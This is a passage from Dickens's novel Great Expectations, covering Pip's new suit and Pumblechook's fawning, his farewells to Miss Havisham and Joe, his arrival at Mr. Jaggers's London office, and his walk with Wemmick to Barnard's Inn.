dreadfully severe stare: foreseeing the +danger of that miscreant's brushing me with it, or making some +other sign of familiarity.) + +Mr. Trabb never removed his stern eye from the boy until he had +deposited number four on the counter and was at a safe distance +again. Then, he commanded him to bring number five, and number +eight. "And let me have none of your tricks here," said Mr. Trabb, +"or you shall repent it, you young scoundrel, the longest day you +have to live." + +Mr. Trabb then bent over number four, and in a sort of deferential +confidence recommended it to me as a light article for summer wear, +an article much in vogue among the nobility and gentry, an article +that it would ever be an honour to him to reflect upon a +distinguished fellow-townsman's (if he might claim me for a +fellow-townsman) having worn. "Are you bringing numbers five and +eight, you vagabond," said Mr. Trabb to the boy after that, "or +shall I kick you out of the shop and bring them myself?" + +I selected the materials for a suit, with the assistance of Mr. +Trabb's judgment, and re-entered the parlour to be measured. For, +although Mr. Trabb had my measure already, and had previously been +quite contented with it, he said apologetically that it "wouldn't +do under existing circumstances, sir - wouldn't do at all." So, Mr. +Trabb measured and calculated me, in the parlour, as if I were an +estate and he the finest species of surveyor, and gave himself such +a world of trouble that I felt that no suit of clothes could +possibly remunerate him for his pains. When he had at last done and +had appointed to send the articles to Mr. Pumblechook's on the +Thursday evening, he said, with his hand upon the parlour lock, "I +know, sir, that London gentlemen cannot be expected to patronize +local work, as a rule; but if you would give me a turn now and then +in the quality of a townsman, I should greatly esteem it. Good +morning, sir, much obliged. - Door!" + +The last word was flung at the boy, who had not the least notion +what it meant. But I saw him collapse as his master rubbed me out +with his hands, and my first decided experience of the stupendous +power of money, was, that it had morally laid upon his back, +Trabb's boy. + +After this memorable event, I went to the hatter's, and the +bootmaker's, and the hosier's, and felt rather like Mother +Hubbard's dog whose outfit required the services of so many trades. +I also went to the coach-office and took my place for seven o'clock +on Saturday morning. It was not necessary to explain everywhere +that I had come into a handsome property; but whenever I said +anything to that effect, it followed that the officiating tradesman +ceased to have his attention diverted through the window by the +High-street, and concentrated his mind upon me. When I had ordered +everything I wanted, I directed my steps towards Pumblechook's, +and, as I approached that gentleman's place of business, I saw him +standing at his door. + +He was waiting for me with great impatience. He had been out early +in the chaise-cart, and had called at the forge and heard the +news. He had prepared a collation for me in the Barnwell parlour, +and he too ordered his shopman to "come out of the gangway" as my +sacred person passed. + +"My dear friend," said Mr. Pumblechook, taking me by both hands, +when he and I and the collation were alone, "I give you joy of your +good fortune. Well deserved, well deserved!" + +This was coming to the point, and I thought it a sensible way of +expressing himself. + +"To think," said Mr. Pumblechook, after snorting admiration at me +for some moments, "that I should have been the humble instrument of +leading up to this, is a proud reward." + +I begged Mr. Pumblechook to remember that nothing was to be ever +said or hinted, on that point. + +"My dear young friend," said Mr. Pumblechook, "if you will allow me +to call you so--" + +I murmured "Certainly," and Mr. Pumblechook took me by both hands +again, and communicated a movement to his waistcoat, which had an +emotional appearance, though it was rather low down, "My dear young +friend, rely upon my doing my little all in your absence, by +keeping the fact before the mind of Joseph. - Joseph!" said Mr. +Pumblechook, in the way of a compassionate adjuration. "Joseph!! +Joseph!!!" Thereupon he shook his head and tapped it, expressing +his sense of deficiency in Joseph. + +"But my dear young friend," said Mr. Pumblechook, "you must be +hungry, you must be exhausted. Be seated. Here is a chicken had +round from the Boar, here is a tongue had round from the Boar, +here's one or two little things had round from the Boar, that I +hope you may not despise. But do I," said Mr. Pumblechook, getting +up again the moment after he had sat down, "see afore me, him as I +ever sported with in his times of happy infancy? And may I - may +I - ?" + +This May I, meant might he shake hands? I consented, and he was +fervent, and then sat down again. + +"Here is wine," said Mr. Pumblechook. "Let us drink, Thanks to +Fortune, and may she ever pick out her favourites with equal +judgment! And yet I cannot," said Mr. Pumblechook, getting up again, +"see afore me One - and likewise drink to One - without again +expressing - May I - may I - ?" + +I said he might, and he shook hands with me again, and emptied his +glass and turned it upside down. I did the same; and if I had +turned myself upside down before drinking, the wine could not have +gone more direct to my head. + +Mr. Pumblechook helped me to the liver wing, and to the best slice +of tongue (none of those out-of-the-way No Thoroughfares of Pork +now), and took, comparatively speaking, no care of himself at all. +"Ah! poultry, poultry! You little thought," said Mr. Pumblechook, +apostrophizing the fowl in the dish, "when you was a young +fledgling, what was in store for you. You little thought you was to +be refreshment beneath this humble roof for one as - Call it a +weakness, if you will," said Mr. Pumblechook, getting up again, "but +may I? may I - ?" + +It began to be unnecessary to repeat the form of saying he might, +so he did it at once. How he ever did it so often without wounding +himself with my knife, I don't know. + +"And your sister," he resumed, after a little steady eating, "which +had the honour of bringing you up by hand! It's a sad picter, to +reflect that she's no longer equal to fully understanding the +honour. May--" + +I saw he was about to come at me again, and I stopped him. + +"We'll drink her health," said I. + +"Ah!" cried Mr. Pumblechook, leaning back in his chair, quite +flaccid with admiration, "that's the way you know 'em, sir!" (I +don't know who Sir was, but he certainly was not I, and there was +no third person present); "that's the way you know the nobleminded, +sir! Ever forgiving and ever affable. It might," said the servile +Pumblechook, putting down his untasted glass in a hurry and getting +up again, "to a common person, have the appearance of repeating - +but may I - ?" + +When he had done it, he resumed his seat and drank to my sister. +"Let us never be blind," said Mr. Pumblechook, "to her faults of +temper, but it is to be hoped she meant well." + +At about this time, I began to observe that he was getting flushed +in the face; as to myself, I felt all face, steeped in wine and +smarting. + +I mentioned to Mr. Pumblechook that I wished to have my new clothes +sent to his house, and he was ecstatic on my so distinguishing him. +I mentioned my reason for desiring to avoid observation in the +village, and he lauded it to the skies. There was nobody but +himself, he intimated, worthy of my confidence, and - in short, +might he? Then he asked me tenderly if I remembered our boyish +games at sums, and how we had gone together to have me bound +apprentice, and, in effect, how he had ever been my favourite fancy +and my chosen friend? If I had taken ten times as many glasses of +wine as I had, I should have known that he never had stood in that +relation towards me, and should in my heart of hearts have +repudiated the idea. Yet for all that, I remember feeling convinced +that I had been much mistaken in him, and that he was a sensible +practical good-hearted prime fellow. + +By degrees he fell to reposing such great confidence in me, as to +ask my advice in reference to his own affairs. He mentioned that +there was an opportunity for a great amalgamation and monopoly of +the corn and seed trade on those premises, if enlarged, such as had +never occurred before in that, or any other neighbourhood. What +alone was wanting to the realization of a vast fortune, he +considered to be More Capital. Those were the two little words, +more capital. Now it appeared to him (Pumblechook) that if that +capital were got into the business, through a sleeping partner, sir +- which sleeping partner would have nothing to do but walk in, by +self or deputy, whenever he pleased, and examine the books - and +walk in twice a year and take his profits away in his pocket, to +the tune of fifty per cent. - it appeared to him that that might be +an opening for a young gentleman of spirit combined with property, +which would be worthy of his attention. But what did I think? He +had great confidence in my opinion, and what did I think? I gave it +as my opinion. "Wait a bit!" The united vastness and distinctness +of this view so struck him, that he no longer asked if he might +shake hands with me, but said he really must - and did. + +We drank all the wine, and Mr. Pumblechook pledged himself over and +over again to keep Joseph up to the mark (I don't know what mark), +and to render me efficient and constant service (I don't know what +service). He also made known to me for the first time in my life, +and certainly after having kept his secret wonderfully well, that +he had always said of me, "That boy is no common boy, and mark me, +his fortun' will be no common fortun'." He said with a tearful +smile that it was a singular thing to think of now, and I said so +too. Finally, I went out into the air, with a dim perception that +there was something unwonted in the conduct of the sunshine, and +found that I had slumberously got to the turn-pike without having +taken any account of the road. + +There, I was roused by Mr. Pumblechook's hailing me. He was a long +way down the sunny street, and was making expressive gestures for +me to stop. I stopped, and he came up breathless. + +"No, my dear friend," said he, when he had recovered wind for +speech. "Not if I can help it. This occasion shall not entirely +pass without that affability on your part. - May I, as an old +friend and well-wisher? May I?" + +We shook hands for the hundredth time at least, and he ordered a +young carter out of my way with the greatest indignation. Then, he +blessed me and stood waving his hand to me until I had passed the +crook in the road; and then I turned into a field and had a long +nap under a hedge before I pursued my way home. + +I had scant luggage to take with me to London, for little of the +little I possessed was adapted to my new station. But, I began +packing that same afternoon, and wildly packed up things that I +knew I should want next morning, in a fiction that there was not a +moment to be lost. + +So, Tuesday, Wednesday, and Thursday, passed; and on Friday morning +I went to Mr. Pumblechook's, to put on my new clothes and pay my +visit to Miss Havisham. Mr. Pumblechook's own room was given up to +me to dress in, and was decorated with clean towels expressly for +the event. My clothes were rather a disappointment, of course. +Probably every new and eagerly expected garment ever put on since +clothes came in, fell a trifle short of the wearer's expectation. +But after I had had my new suit on, some half an hour, and had gone +through an immensity of posturing with Mr. Pumblechook's very +limited dressing-glass, in the futile endeavour to see my legs, it +seemed to fit me better. It being market morning at a neighbouring +town some ten miles off, Mr. Pumblechook was not at home. I had not +told him exactly when I meant to leave, and was not likely to shake +hands with him again before departing. This was all as it should +be, and I went out in my new array: fearfully ashamed of having to +pass the shopman, and suspicious after all that I was at a personal +disadvantage, something like Joe's in his Sunday suit. + +I went circuitously to Miss Havisham's by all the back ways, and +rang at the bell constrainedly, on account of the stiff long +fingers of my gloves. Sarah Pocket came to the gate, and positively +reeled back when she saw me so changed; her walnut-shell +countenance likewise, turned from brown to green and yellow. + +"You?" said she. "You, good gracious! What do you want?" + +"I am going to London, Miss Pocket," said I, "and want to say +good-bye to Miss Havisham." + +I was not expected, for she left me locked in the yard, while she +went to ask if I were to be admitted. After a very short delay, she +returned and took me up, staring at me all the way. + +Miss Havisham was taking exercise in the room with the long spread +table, leaning on her crutch stick. The room was lighted as of +yore, and at the sound of our entrance, she stopped and turned. She +was then just abreast of the rotted bride-cake. + +"Don't go, Sarah," she said. "Well, Pip?" + +"I start for London, Miss Havisham, to-morrow," I was exceedingly +careful what I said, "and I thought you would kindly not mind my +taking leave of you." + +"This is a gay figure, Pip," said she, making her crutch stick play +round me, as if she, the fairy godmother who had changed me, were +bestowing the finishing gift. + +"I have come into such good fortune since I saw you last, Miss +Havisham," I murmured. "And I am so grateful for it, Miss +Havisham!" + +"Ay, ay!" said she, looking at the discomfited and envious Sarah, +with delight. "I have seen Mr. Jaggers. I have heard about it, Pip. +So you go to-morrow?" + +"Yes, Miss Havisham." + +"And you are adopted by a rich person?" + +"Yes, Miss Havisham." + +"Not named?" + +"No, Miss Havisham." + +"And Mr. Jaggers is made your guardian?" + +"Yes, Miss Havisham." + +She quite gloated on these questions and answers, so keen was her +enjoyment of Sarah Pocket's jealous dismay. "Well!" she went on; +"you have a promising career before you. Be good - deserve it - and +abide by Mr. Jaggers's instructions." She looked at me, and looked +at Sarah, and Sarah's countenance wrung out of her watchful face a +cruel smile. "Good-bye, Pip! - you will always keep the name of +Pip, you know." + +"Yes, Miss Havisham." + +"Good-bye, Pip!" + +She stretched out her hand, and I went down on my knee and put it +to my lips. I had not considered how I should take leave of her; it +came naturally to me at the moment, to do this. She looked at Sarah +Pocket with triumph in her weird eyes, and so I left my fairy +godmother, with both her hands on her crutch stick, standing in the +midst of the dimly lighted room beside the rotten bridecake that +was hidden in cobwebs. + +Sarah Pocket conducted me down, as if I were a ghost who must be +seen out. She could not get over my appearance, and was in the last +degree confounded. I said "Good-bye, Miss Pocket;" but she merely +stared, and did not seem collected enough to know that I had +spoken. Clear of the house, I made the best of my way back to +Pumblechook's, took off my new clothes, made them into a bundle, +and went back home in my older dress, carrying it - to speak the +truth - much more at my ease too, though I had the bundle to carry. + +And now, those six days which were to have run out so slowly, had +run out fast and were gone, and to-morrow looked me in the face +more steadily than I could look at it. As the six evenings had +dwindled away, to five, to four, to three, to two, I had become +more and more appreciative of the society of Joe and Biddy. On this +last evening, I dressed my self out in my new clothes, for their +delight, and sat in my splendour until bedtime. We had a hot supper +on the occasion, graced by the inevitable roast fowl, and we had +some flip to finish with. We were all very low, and none the higher +for pretending to be in spirits. + +I was to leave our village at five in the morning, carrying my +little hand-portmanteau, and I had told Joe that I wished to walk +away all alone. I am afraid - sore afraid - that this purpose +originated in my sense of the contrast there would be between me +and Joe, if we went to the coach together. I had pretended with +myself that there was nothing of this taint in the arrangement; but +when I went up to my little room on this last night, I felt +compelled to admit that it might be so, and had an impulse upon me +to go down again and entreat Joe to walk with me in the morning. I +did not. + +All night there were coaches in my broken sleep, going to wrong +places instead of to London, and having in the traces, now dogs, +now cats, now pigs, now men - never horses. Fantastic failures of +journeys occupied me until the day dawned and the birds were +singing. Then, I got up and partly dressed, and sat at the window +to take a last look out, and in taking it fell asleep. + +Biddy was astir so early to get my breakfast, that, although I did +not sleep at the window an hour, I smelt the smoke of the kitchen +fire when I started up with a terrible idea that it must be late in +the afternoon. But long after that, and long after I had heard the +clinking of the teacups and was quite ready, I wanted the +resolution to go down stairs. After all, I remained up there, +repeatedly unlocking and unstrapping my small portmanteau and +locking and strapping it up again, until Biddy called to me that I +was late. + +It was a hurried breakfast with no taste in it. I got up from the +meal, saying with a sort of briskness, as if it had only just +occurred to me, "Well! I suppose I must be off!" and then I kissed +my sister who was laughing and nodding and shaking in her usual +chair, and kissed Biddy, and threw my arms around Joe's neck. Then +I took up my little portmanteau and walked out. The last I saw of +them was, when I presently heard a scuffle behind me, and looking +back, saw Joe throwing an old shoe after me and Biddy throwing +another old shoe. I stopped then, to wave my hat, and dear old Joe +waved his strong right arm above his head, crying huskily +"Hooroar!" and Biddy put her apron to her face. + +I walked away at a good pace, thinking it was easier to go than I +had supposed it would be, and reflecting that it would never have +done to have had an old shoe thrown after the coach, in sight of +all the High-street. I whistled and made nothing of going. But the +village was very peaceful and quiet, and the light mists were +solemnly rising, as if to show me the world, and I had been so +innocent and little there, and all beyond was so unknown and great, +that in a moment with a strong heave and sob I broke into tears. It +was by the finger-post at the end of the village, and I laid my +hand upon it, and said, "Good-bye O my dear, dear friend!" + +Heaven knows we need never be ashamed of our tears, for they are +rain upon the blinding dust of earth, overlying our hard hearts. I +was better after I had cried, than before - more sorry, more aware +of my own ingratitude, more gentle. If I had cried before, I should +have had Joe with me then. + +So subdued I was by those tears, and by their breaking out again in +the course of the quiet walk, that when I was on the coach, and it +was clear of the town, I deliberated with an aching heart whether I +would not get down when we changed horses and walk back, and have +another evening at home, and a better parting. We changed, and I +had not made up my mind, and still reflected for my comfort that it +would be quite practicable to get down and walk back, when we +changed again. And while I was occupied with these deliberations, I +would fancy an exact resemblance to Joe in some man coming along +the road towards us, and my heart would beat high. - As if he could +possibly be there! + +We changed again, and yet again, and it was now too late and too +far to go back, and I went on. And the mists had all solemnly risen +now, and the world lay spread before me. + +THIS IS THE END OF THE FIRST STAGE OF PIP'S EXPECTATIONS. + + +Chapter 20 + +The journey from our town to the metropolis, was a journey of about +five hours. It was a little past mid-day when the fourhorse +stage-coach by which I was a passenger, got into the ravel of +traffic frayed out about the Cross Keys, Wood-street, Cheapside, +London. + +We Britons had at that time particularly settled that it was +treasonable to doubt our having and our being the best of +everything: otherwise, while I was scared by the immensity of +London, I think I might have had some faint doubts whether it was +not rather ugly, crooked, narrow, and dirty. + +Mr. Jaggers had duly sent me his address; it was, Little Britain, +and he had written after it on his card, "just out of Smithfield, +and close by the coach-office." Nevertheless, a hackney-coachman, +who seemed to have as many capes to his greasy great-coat as he was +years old, packed me up in his coach and hemmed me in with a +folding and jingling barrier of steps, as if he were going to take +me fifty miles. His getting on his box, which I remember to have +been decorated with an old weather-stained pea-green hammercloth +moth-eaten into rags, was quite a work of time. It was a wonderful +equipage, with six great coronets outside, and ragged things behind +for I don't know how many footmen to hold on by, and a harrow below +them, to prevent amateur footmen from yielding to the temptation. + +I had scarcely had time to enjoy the coach and to think how like a +straw-yard it was, and yet how like a rag-shop, and to wonder why +the horses' nose-bags were kept inside, when I observed the +coachman beginning to get down, as if we were going to stop +presently. And stop we presently did, in a gloomy street, at +certain offices with an open door, whereon was painted MR. JAGGERS. + +"How much?" I asked the coachman. + +The coachman answered, "A shilling - unless you wish to make it +more." + +I naturally said I had no wish to make it more. + +"Then it must be a shilling," observed the coachman. "I don't want +to get into trouble. I know him!" He darkly closed an eye at Mr +Jaggers's name, and shook his head. + +When he had got his shilling, and had in course of time completed +the ascent to his box, and had got away (which appeared to relieve +his mind), I went into the front office with my little portmanteau +in my hand and asked, Was Mr. Jaggers at home? + +"He is not," returned the clerk. "He is in Court at present. Am I +addressing Mr. Pip?" + +I signified that he was addressing Mr. Pip. + +"Mr. Jaggers left word would you wait in his room. He couldn't say +how long he might be, having a case on. But it stands to reason, +his time being valuable, that he won't be longer than he can help." + +With those words, the clerk opened a door, and ushered me into an +inner chamber at the back. Here, we found a gentleman with one eye, +in a velveteen suit and knee-breeches, who wiped his nose with his +sleeve on being interrupted in the perusal of the newspaper. + +"Go and wait outside, Mike," said the clerk. + +I began to say that I hoped I was not interrupting - when the clerk +shoved this gentleman out with as little ceremony as I ever saw +used, and tossing his fur cap out after him, left me alone. + +Mr. Jaggers's room was lighted by a skylight only, and was a most +dismal place; the skylight, eccentrically pitched like a broken +head, and the distorted adjoining houses looking as if they had +twisted themselves to peep down at me through it. There were not so +many papers about, as I should have expected to see; and there were +some odd objects about, that I should not have expected to see - +such as an old rusty pistol, a sword in a scabbard, several +strange-looking boxes and packages, and two dreadful casts on a +shelf, of faces peculiarly swollen, and twitchy about the nose. Mr. +Jaggers's own high-backed chair was of deadly black horse-hair, +with rows of brass nails round it, like a coffin; and I fancied I +could see how he leaned back in it, and bit his forefinger at the +clients. The room was but small, and the clients seemed to have had +a habit of backing up against the wall: the wall, especially +opposite to Mr. Jaggers's chair, being greasy with shoulders. I +recalled, too, that the one-eyed gentleman had shuffled forth +against the wall when I was the innocent cause of his being turned +out. + +I sat down in the cliental chair placed over against Mr. Jaggers's +chair, and became fascinated by the dismal atmosphere of the place. +I called to mind that the clerk had the same air of knowing +something to everybody else's disadvantage, as his master had. I +wondered how many other clerks there were up-stairs, and whether +they all claimed to have the same detrimental mastery of their +fellow-creatures. I wondered what was the history of all the odd +litter about the room, and how it came there. I wondered whether +the two swollen faces were of Mr. Jaggers's family, and, if he were +so unfortunate as to have had a pair of such ill-looking relations, +why he stuck them on that dusty perch for the blacks and flies to +settle on, instead of giving them a place at home. Of course I had +no experience of a London summer day, and my spirits may have been +oppressed by the hot exhausted air, and by the dust and grit that +lay thick on everything. But I sat wondering and waiting in Mr. +Jaggers's close room, until I really could not bear the two casts +on the shelf above Mr. Jaggers's chair, and got up and went out. + +When I told the clerk that I would take a turn in the air while I +waited, he advised me to go round the corner and I should come into +Smithfield. So, I came into Smithfield; and the shameful place, +being all asmear with filth and fat and blood and foam, seemed to +stick to me. So, I rubbed it off with all possible speed by turning +into a street where I saw the great black dome of Saint Paul's +bulging at me from behind a grim stone building which a bystander +said was Newgate Prison. Following the wall of the jail, I found +the roadway covered with straw to deaden the noise of passing +vehicles; and from this, and from the quantity of people standing +about, smelling strongly of spirits and beer, I inferred that the +trials were on. + +While I looked about me here, an exceedingly dirty and partially +drunk minister of justice asked me if I would like to step in and +hear a trial or so: informing me that he could give me a front +place for half-a-crown, whence I should command a full view of the +Lord Chief Justice in his wig and robes - mentioning that awful +personage like waxwork, and presently offering him at the reduced +price of eighteenpence. As I declined the proposal on the plea of +an appointment, he was so good as to take me into a yard and show +me where the gallows was kept, and also where people were publicly +whipped, and then he showed me the Debtors' Door, out of which +culprits came to be hanged: heightening the interest of that +dreadful portal by giving me to understand that "four on 'em" would +come out at that door the day after to-morrow at eight in the +morning, to be killed in a row. This was horrible, and gave me a +sickening idea of London: the more so as the Lord Chief Justice's +proprietor wore (from his hat down to his boots and up again to his +pocket-handkerchief inclusive) mildewed clothes, which had +evidently not belonged to him originally, and which, I took it into +my head, he had bought cheap of the executioner. Under these +circumstances I thought myself well rid of him for a shilling. + +I dropped into the office to ask if Mr. Jaggers had come in yet, and +I found he had not, and I strolled out again. This time, I made the +tour of Little Britain, and turned into Bartholomew Close; and now +I became aware that other people were waiting about for Mr. Jaggers, +as well as I. There were two men of secret appearance lounging in +Bartholomew Close, and thoughtfully fitting their feet into the +cracks of the pavement as they talked together, one of whom said to +the other when they first passed me, that "Jaggers would do it if +it was to be done." There was a knot of three men and two women +standing at a corner, and one of the women was crying on her dirty +shawl, and the other comforted her by saying, as she pulled her own +shawl over her shoulders, "Jaggers is for him, 'Melia, and what +more could you have?" There was a red-eyed little Jew who came into +the Close while I was loitering there, in company with a second +little Jew whom he sent upon an errand; and while the messenger was +gone, I remarked this Jew, who was of a highly excitable +temperament, performing a jig of anxiety under a lamp-post and +accompanying himself, in a kind of frenzy, with the words, "Oh +Jaggerth, Jaggerth, Jaggerth! all otherth ith Cag-Maggerth, give me +Jaggerth!" These testimonies to the popularity of my guardian made +a deep impression on me, and I admired and wondered more than ever. + +At length, as I was looking out at the iron gate of Bartholomew +Close into Little Britain, I saw Mr. Jaggers coming across the road +towards me. All the others who were waiting, saw him at the same +time, and there was quite a rush at him. Mr. Jaggers, putting a hand +on my shoulder and walking me on at his side without saying +anything to me, addressed himself to his followers. + +First, he took the two secret men. + +"Now, I have nothing to say to you," said Mr. Jaggers, throwing his +finger at them. "I want to know no more than I know. As to the +result, it's a toss-up. I told you from the first it was a toss-up. +Have you paid Wemmick?" + +"We made the money up this morning, sir," said one of the men, +submissively, while the other perused Mr. Jaggers's face. + +"I don't ask you when you made it up, or where, or whether you made +it up at all. Has Wemmick got it?" + +"Yes, sir," said both the men together. + +"Very well; then you may go. Now, I won't have it!" said Mr +Jaggers, waving his hand at them to put them behind him. "If you +say a word to me, I'll throw up the case." + +"We thought, Mr. Jaggers--" one of the men began, pulling off his +hat. + +"That's what I told you not to do," said Mr. Jaggers. "You thought! +I think for you; that's enough for you. If I want you, I know where +to find you; I don't want you to find me. Now I won't have it. I +won't hear a word." + +The two men looked at one another as Mr. Jaggers waved them behind +again, and humbly fell back and were heard no more. + +"And now you!" said Mr. Jaggers, suddenly stopping, and turning on +the two women with the shawls, from whom the three men had meekly +separated. - "Oh! Amelia, is it?" + +"Yes, Mr. Jaggers." + +"And do you remember," retorted Mr. Jaggers, "that but for me you +wouldn't be here and couldn't be here?" + +"Oh yes, sir!" exclaimed both women together. "Lord bless you, sir, +well we knows that!" + +"Then why," said Mr. Jaggers, "do you come here?" + +"My Bill, sir!" the crying woman pleaded. + +"Now, I tell you what!" said Mr. Jaggers. "Once for all. If you +don't know that your Bill's in good hands, I know it. And if you +come here, bothering about your Bill, I'll make an example of both +your Bill and you, and let him slip through my fingers. Have you +paid Wemmick?" + +"Oh yes, sir! Every farden." + +"Very well. Then you have done all you have got to do. Say another +word - one single word - and Wemmick shall give you your money +back." + +This terrible threat caused the two women to fall off immediately. +No one remained now but the excitable Jew, who had already raised +the skirts of Mr. Jaggers's coat to his lips several times. + +"I don't know this man!" said Mr. Jaggers, in the same devastating +strain: "What does this fellow want?" + +"Ma thear Mithter Jaggerth. Hown brother to Habraham Latharuth?" + +"Who's he?" said Mr. Jaggers. "Let go of my coat." + +The suitor, kissing the hem of the garment again before +relinquishing it, replied, "Habraham Latharuth, on thuthpithion of +plate." + +"You're too late," said Mr. Jaggers. "I am over the way." + +"Holy father, Mithter Jaggerth!" cried my excitable acquaintance, +turning white, "don't thay you're again Habraham Latharuth!" + +"I am," said Mr. Jaggers, "and there's an end of it. Get out of the +way." + +"Mithter Jaggerth! Half a moment! My hown cuthen'th gone to Mithter +Wemmick at thith prethent minute, to hoffer him hany termth. +Mithter Jaggerth! Half a quarter of a moment! If you'd have the +condethenthun to be bought off from the t'other thide - at hany +thuperior prithe! - money no object! - Mithter Jaggerth - Mithter - !" + +My guardian threw his supplicant off with supreme indifference, and +left him dancing on the pavement as if it were red-hot. Without +further interruption, we reached the front office, where we found +the clerk and the man in velveteen with the fur cap. + +"Here's Mike," said the clerk, getting down from his stool, and +approaching Mr. Jaggers confidentially. + +"Oh!" said Mr. Jaggers, turning to the man, who was pulling a lock +of hair in the middle of his forehead, like the Bull in Cock Robin +pulling at the bell-rope; "your man comes on this afternoon. Well?" + +"Well, Mas'r Jaggers," returned Mike, in the voice of a sufferer +from a constitutional cold; "arter a deal o' trouble, I've found +one, sir, as might do." + +"What is he prepared to swear?" + +"Well, Mas'r Jaggers," said Mike, wiping his nose on his fur cap +this time; "in a general way, anythink." + +Mr. Jaggers suddenly became most irate. "Now, I warned you before," +said he, throwing his forefinger at the terrified client, "that if +you ever presumed to talk in that way here, I'd make an example of +you. You infernal scoundrel, how dare you tell ME that?" + +The client looked scared, but bewildered too, as if he were +unconscious what he had done. + +"Spooney!" said the clerk, in a low voice, giving him a stir with +his elbow. "Soft Head! Need you say it face to face?" + +"Now, I ask you, you blundering booby," said my guardian, very +sternly, "once more and for the last time, what the man you have +brought here is prepared to swear?" + +Mike looked hard at my guardian, as if he were trying to learn a +lesson from his face, and slowly replied, "Ayther to character, or +to having been in his company and never left him all the night in +question." + +"Now, be careful. In what station of life is this man?" + +Mike looked at his cap, and looked at the floor, and looked at the +ceiling, and looked at the clerk, and even looked at me, before +beginning to reply in a nervous manner, "We've dressed him up +like--" when my guardian blustered out: + +"What? You WILL, will you?" + +("Spooney!" added the clerk again, with another stir.) + +After some helpless casting about, Mike brightened and began again: + +"He is dressed like a 'spectable pieman. A sort of a pastry-cook." + +"Is he here?" asked my guardian. + +"I left him," said Mike, "a settin on some doorsteps round the +corner." + +"Take him past that window, and let me see him." + +The window indicated, was the office window. We all three went to +it, behind the wire blind, and presently saw the client go by in an +accidental manner, with a murderous-looking tall individual, in a +short suit of white linen and a paper cap. This guileless +confectioner was not by any means sober, and had a black eye in the +green stage of recovery, which was painted over. + +"Tell him to take his witness away directly," said my guardian to +the clerk, in extreme disgust, "and ask him what he means by +bringing such a fellow as that." + +My guardian then took me into his own room, and while he lunched, +standing, from a sandwich-box and a pocket flask of sherry (he +seemed to bully his very sandwich as he ate it), informed me what +arrangements he had made for me. I was to go to "Barnard's Inn," to +young Mr. Pocket's rooms, where a bed had been sent in for my +accommodation; I was to remain with young Mr. Pocket until Monday; +on Monday I was to go with him to his father's house on a visit, +that I might try how I liked it. Also, I was told what my allowance +was to be - it was a very liberal one - and had handed to me from +one of my guardian's drawers, the cards of certain tradesmen with +whom I was to deal for all kinds of clothes, and such other things +as I could in reason want. "You will find your credit good, Mr. +Pip," said my guardian, whose flask of sherry smelt like a whole +cask-full, as he hastily refreshed himself, "but I shall by this +means be able to check your bills, and to pull you up if I find you +outrunning the constable. Of course you'll go wrong somehow, but +that's no fault of mine." + +After I had pondered a little over this encouraging sentiment, I +asked Mr. Jaggers if I could send for a coach? He said it was not +worth while, I was so near my destination; Wemmick should walk +round with me, if I pleased. + +I then found that Wemmick was the clerk in the next room. Another +clerk was rung down from up-stairs to take his place while he was +out, and I accompanied him into the street, after shaking hands +with my guardian. We found a new set of people lingering outside, +but Wemmick made a way among them by saying coolly yet decisively, +"I tell you it's no use; he won't have a word to say to one of +you;" and we soon got clear of them, and went on side by side. + + +Chapter 21 + +Casting my eyes on Mr. Wemmick as we went along, to see what he was +like in the light of day, I found him to be a dry man, rather short +in stature, with a square wooden face, whose expression seemed to +have been imperfectly chipped out with a dull-edged chisel. There +were some marks in it that might have been dimples, if the material +had been softer and the instrument finer, but which, as it was, +were only dints. The chisel had made three or four of these +attempts at embellishment over his nose, but had given them up +without an effort to smooth them off. I judged him to be a bachelor +from the frayed condition of his linen, and he appeared to have +sustained a good many bereavements; for, he wore at least four +mourning rings, besides a brooch representing a lady and a weeping +willow at a tomb with an urn on it. I noticed, too, that several +rings and seals hung at his watch chain, as if he were quite laden +with remembrances of departed friends. He had glittering eyes - +small, keen, and black - and thin wide mottled lips. He had had +them, to the best of my belief, from forty to fifty years. + +"So you were never in London before?" said Mr. Wemmick to me. + +"No," said I. + +"I was new here once," said Mr. Wemmick. "Rum to think of now!" + +"You are well acquainted with it now?" + +"Why, yes," said Mr. Wemmick. "I know the moves of it." + +"Is it a very wicked place?" I asked, more for the sake of saying +something than for information. + +"You may get cheated, robbed, and murdered, in London. But there +are plenty of people anywhere, who'll do that for you." + +"If there is bad blood between you and them," said I, to soften it +off a little. + +"Oh! I don't know about bad blood," returned Mr. Wemmick; "there's +not much bad blood about. They'll do it, if there's anything to be +got by it." + +"That makes it worse." + +"You think so?" returned Mr. Wemmick. "Much about the same, I should +say." + +He wore his hat on the back of his head, and looked straight before +him: walking in a self-contained way as if there were nothing in +the streets to claim his attention. His mouth was such a postoffice +of a mouth that he had a mechanical appearance of smiling. We had +got to the top of Holborn Hill before I knew that it was merely a +mechanical appearance, and that he was not smiling at all. + +"Do you know where Mr. Matthew Pocket lives?" I asked Mr. Wemmick. + +"Yes," said he, nodding in the direction. "At Hammersmith, west of +London." + +"Is that far?" + +"Well! Say five miles." + +"Do you know him?" + +"Why, you're a regular cross-examiner!" said Mr. Wemmick, looking at +me with an approving air. "Yes, I know him. I know him!" + +There was an air of toleration or depreciation about his utterance +of these words, that rather depressed me; and I was still looking +sideways at his block of a face in search of any encouraging note +to the text, when he said here we were at Barnard's Inn. My +depression was not alleviated by the announcement, for, I had +supposed that establishment to be an hotel kept by Mr. Barnard, to +which the Blue Boar in our town was a mere public-house. Whereas I +now found Barnard to be a disembodied spirit, or a fiction, and his +inn the dingiest collection of shabby buildings ever squeezed +together in a rank corner as a club for Tom-cats. + +We entered this haven through a wicket-gate, and were disgorged by +an introductory passage into a melancholy little square that looked +to me like a flat burying-ground. I thought it had the most dismal +trees in it, and the most dismal sparrows, and the most dismal +cats, and the most dismal houses (in number half a dozen or so), +that I had ever seen. I thought the windows of the sets of chambers +into which those houses were divided, were in every stage of +dilapidated blind and curtain, crippled flower-pot, cracked glass, +dusty decay, and miserable makeshift; while To Let To Let To Let, +glared at me from empty rooms, as if no new wretches ever came +there, and the vengeance of the soul of Barnard were being slowly +appeased by the gradual suicide of the present occupants and their +unholy interment under the gravel. A frouzy mourning of soot and +smoke attired this forlorn creation of Barnard, and it had strewn +ashes on its head, and was undergoing penance and humiliation as a +mere dust-hole. Thus far my sense of sight; while dry rot and wet +rot and all the silent rots that rot in neglected roof and cellar - +rot of rat and mouse and bug and coaching-stables near at hand +besides - addressed themselves faintly to my sense of smell, and +moaned, "Try Barnard's Mixture." + +So imperfect was this realization of the first of my great +expectations, that I looked in dismay at Mr. Wemmick. "Ah!" said he, +mistaking me; "the retirement reminds you of the 